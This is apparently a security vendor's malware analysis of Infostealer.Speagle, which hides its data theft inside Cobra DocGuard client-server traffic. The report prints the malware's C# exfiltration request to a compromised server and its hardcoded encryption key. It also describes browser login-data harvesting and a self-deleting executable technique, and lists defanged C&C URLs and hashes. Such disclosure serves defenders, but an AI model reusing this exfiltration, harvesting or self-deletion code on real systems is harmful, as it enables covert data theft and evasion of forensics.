Symantec and Carbon Black researchers have uncovered a mysterious and stealthy new threat that hijacks the functionality and infrastructure of the legitimate security software Cobra DocGuard. Infostealer.Speagle is designed to surreptitiously harvest sensitive information from infected computers and transmit it to a Cobra DocGuard server that has been compromised by the attackers, masking the data exfiltration process as legitimate communications between client and server. Notably, Speagle appears to be capable of collecting information on highly targeted subjects, such as specifically seeking out documents related to Chinese ballistic missiles.
Cobra DocGuard is a legitimate document security and encryption platform that is developed by Chinese company EsafeNet. The software has been repeatedly targeted by attackers. In May 2023, ESET reported that it had been compromised to carry out a software supply chain attack on a gambling company in Hong Kong in September 2022. In August 2023, our Threat Hunter Team discovered an APT group named Carderbee using Cobra DocGuard to perform a supply chain attack to deliver the Korplug backdoor (aka PlugX) to multiple organizations in Hong Kong and a number of Asian countries.
So far, we have been unable to associate Speagle with any known threat actor. We have assigned the name Runningcrab to the actor behind it. Interestingly, Speagle is designed to collect and exfiltrate data only when running on computers with Cobra DocGuard data protection software installed. This indicates deliberate targeting, possibly to facilitate intelligence collection or industrial espionage. At present, we believe the most likely hypotheses are that it is either the work of a state-sponsored actor or the work of a private contractor available for hire.
The infection vector used by Speagle remains unknown. However, there are some low-confidence indications that it may have been distributed via a supply chain attack. Aside from the fact that Cobra DocGuard has fallen victim to supply chain attacks at least twice before, Runningcrab, in this case, hijacked a legitimate Cobra DocGuard server and used it for command and control (C&C) of Speagle, exfiltrating stolen data from infected computers to this server.
Secondly, the malware’s self-delete functionality (detailed below) calls upon a legitimate Cobra DocGuard driver and attempts to leverage it to delete the executable. Security software such as Cobra DocGuard often contains anti-tamper features designed to prevent attackers from killing it by terminating and deleting processes. The fact that the malware used a Cobra DocGuard driver to self-delete suggests it could have been delivered as part of a Trojanized software update, however, this is only a hypothesis at present.
Speagle is a 32-bit .NET executable. When run, it determines the installation folder of Cobra DocGuard by first checking for the registry value:
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Esafenet\CDG System\"InstallDir"
If this fails, it will check for the registry value:
HKEY_LOCAL_MACHINE\SOFTWARE\Esafenet\CDG System\"InstallDir"
If both fail, it will use a hardcoded string:
"C:\Program Files\EsafeNet\Cobra DocGuard Client\"
Speagle will then collect and exfiltrate information from the infected machine. Collection and exfiltration are performed in phases, with attempts to exfiltrate the data collected during each phase before proceeding to the next phase. This may allow the attackers to exfiltrate at least partial data in case Speagle is stopped during a later phase.
Speagle uses a custom structure that is referred to as "ErrorReport" by its developer to store information collected from the infected machine. First, it obtains the following details and stores them as members of the ErrorReport structure:
Speagle then attempts to read the content of the following file, using a hardcoded pathname:
"C:\ProgramData\EstConfig.ini"
If the content of the file contains both the strings "no=" and "state=" Speagle then modifies the file to store the collected oldId as property of the "no=" token.
Speagle then ensures that a non-empty clientId has been extracted from the file "[COBRA_DOCGUARD_INSTALLATION_FOLDER]UniqueClientCode.ini". In the case when clientId is missing, Speagle skips the remaining collection and exfiltration phases and directly proceeds to self-delete.
In order to exfiltrate the stolen data, Speagle serializes the ErrorReport structure as an XML string before compressing it with the Deflate algorithm. It then encrypts the compressed data with the AES-128 algorithm in CBC encryption mode with PKCS#7 padding, where the first 16 bytes of the SHA256 digest of the hardcoded string "kAozqXwNES5yjGcZUlXeI4zigg68aZI4" are used as the encryption key. The encrypted data, consisting of the AES-128 initialization vector followed by the padded ciphertext, is then hexlified and transmitted using the HTTP protocol.
Speagle uses a hardcoded URL, which appears to connect to a legitimate Cobra DocGuard server hosted by the attacked organization. We suspect that the attackers compromised that server and installed a malicious component to handle communication:
hxxp://60.30.147[.]18:8091/CDGServer3/CDGClientDiagnostics?flag=syn_user_policy
Speagle uses the following logic to transmit the hexlified data, where it sends a HTTP request with several distinctive headers:
HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(uri);
httpWebRequest.Method = "POST";
httpWebRequest.UserAgent = "Raw HTML Reader";
httpWebRequest.Headers["Cache-Control"] = "no-cache";
httpWebRequest.Headers["X-Request-Name"] = hostName;
httpWebRequest.Headers["X-Request-ID"] = clientId;
httpWebRequest.Headers["X-Request-No"] = oldId;
httpWebRequest.Headers["X-Request-Time"] = DateTime.Now.ToString();
httpWebRequest.ContentType = "text/html; charset=UTF-8";
httpWebRequest.ServicePoint.Expect100Continue = false;
httpWebRequest.SendChunked = true;
httpWebRequest.AllowWriteStreamBuffering = false;
Stream requestStream = httpWebRequest.GetRequestStream();
requestStream.Write(hexlified_data, 0, hexlified_data.Length);
requestStream.Close();
Speagle then collects the following details about the machine and stores them as members of the ErrorReport structure described earlier:
member Wmi: Serialized output of WMI queries that Speagle executes using the System.Management::ManagementObjectSearcher.ManagementObjectSearcher() API:
classes from scope "\\.\root\cimv2":
classes from scope "\\.\root\Microsoft\Windows\TaskScheduler":
classes from scope "\\.\root\StandardCimv2":
member DW: Listing of files (name and size) and folders (name) from the root folder of any attached local disks, removable disks and network drives (collected recursively to depth 2), excluding the subtrees:
member DW2: Listing of files (name and size) and folders (name) from the following trees for each subdirectory of "[%SystemDrive%]\Users\":
Speagle then exfiltrates the updated ErrorReport structure using the same method as described earlier.
Speagle repeats actions from the first phase, gathering the following details about the infected system and storing them as members of the ErrorReport structure:
Next, it visits the directory tree under the "AppData" folder for each subdirectory of "[%SystemDrive%]\Users\".
For each visited directory, Speagle checks if any of the files have filenames ending with "History" as a substring. Then it also ensures that any such directory should contain "Web Data" or "Login Data". For each matching directory, Speagle then:
The collected data is then added to the ErrorReport structure:
Speagle then exfiltrates the ErrorReport structure using the same method as described earlier.
One variant of Speagle (SHA256: dcd3f06093bf34d81837d837c5a5935beb859ba6258e5a80c3a5f95638a13d4d) contains additional functionality, including the ability to enable/disable specific collections as well as an additional collection step that specifically searches for files related to ballistic missiles.
Dongfeng-27 (aka CSS-X-24) is a Chinese ballistic missile. Other keywords translate to: “ballistic missile”, “cruise missile”, “Dongfeng”, “Changjian”, “supersonic”, “hypersonic”, “thermal protection system”, “tail fin structure”, “warhead”, “aerospace”, “antenna”, “nozzle”, “ceramic”, “composite structure”, “rocket”, “composite”, and “composite material”.
After completing the above actions, Speagle attempts to delete itself from the infected system. It does so by opening a legitimate Cobra DocGuard device driver:
\\.\FileLock
It then interacts with it by sending a DeviceIoControl request with the following parameters:
IoControlCode: 0x85272220,
InBuffer: Speagle’s process ID
In a case where the driver fails to open, or when the DeviceIoControl completes successfully, Speagle then attempts to delete its own executable file.
It attempts to delete itself using a known technique that permits the deletion of a running executable that was discovered by researcher Jonas Lykkegaard. Speagle first renames itself by calling the SetFileInformationByHandle() API with the following parameters:
FileInformationClass: FileRenameInfo,
lpFileInformation: pointer to FILE_RENAME_INFO structure:
FileName: ":[SIX_UPPER_CASE_LETTERS]"
ReplaceIfExists: true
It then attempts to delete itself by calling the SetFileInformationByHandle() API with the following parameters:
FileInformationClass: FileDispositionInfo
lpFileInformation: pointer to FILE_DISPOSITION_INFO structure:
DeleteFile: true
Speagle is a novel, parasitic threat that cleverly makes use of Cobra DocGuard’s client to mask its malicious activity and its infrastructure to hide exfiltration traffic. Its developer no doubt took notice of previous supply chain attacks using the software and may have selected it both for its perceived vulnerability and its high rate of use among targeted organizations.
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03298f85eaf8880222cf8a83b8ed75d90712c34a8a5299a60f47927ad044b43b – Infostealer.Speagle
dcd3f06093bf34d81837d837c5a5935beb859ba6258e5a80c3a5f95638a13d4d – Infostealer.Speagle
fad8d0307db5328c8b9f283a2cc6f7e4f4333001623fef5bd5c32a1c094bf890 – Infostealer.Speagle
d7f167cbf1676c14fd487219447e30fadf26885eb25ec4cafdeabe333bddf877 – Infostealer.Speagle
hxxp://60.30.147[.]18:8091/CDGServer3/CDGClientDiagnostics?flag=syn_user_policy
hxxp://222.222.254[.]165:8090/CDGServer3/CDGClientDiagnostics?flag=syn_user_policy
Carderbee: APT Group use Legit Software in Supply Chain Attack Targeting Orgs in Hong Kong
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